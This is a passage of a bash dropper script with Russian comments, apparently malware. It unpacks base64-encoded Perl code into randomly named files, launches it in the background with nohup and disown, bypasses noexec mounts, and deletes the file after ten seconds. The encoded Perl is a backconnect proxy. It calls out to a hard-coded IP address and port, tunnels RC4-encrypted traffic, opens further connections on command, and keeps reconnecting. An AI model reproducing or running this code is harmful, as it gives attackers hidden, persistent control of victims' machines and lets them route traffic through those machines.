kgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_2c7df58f() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZ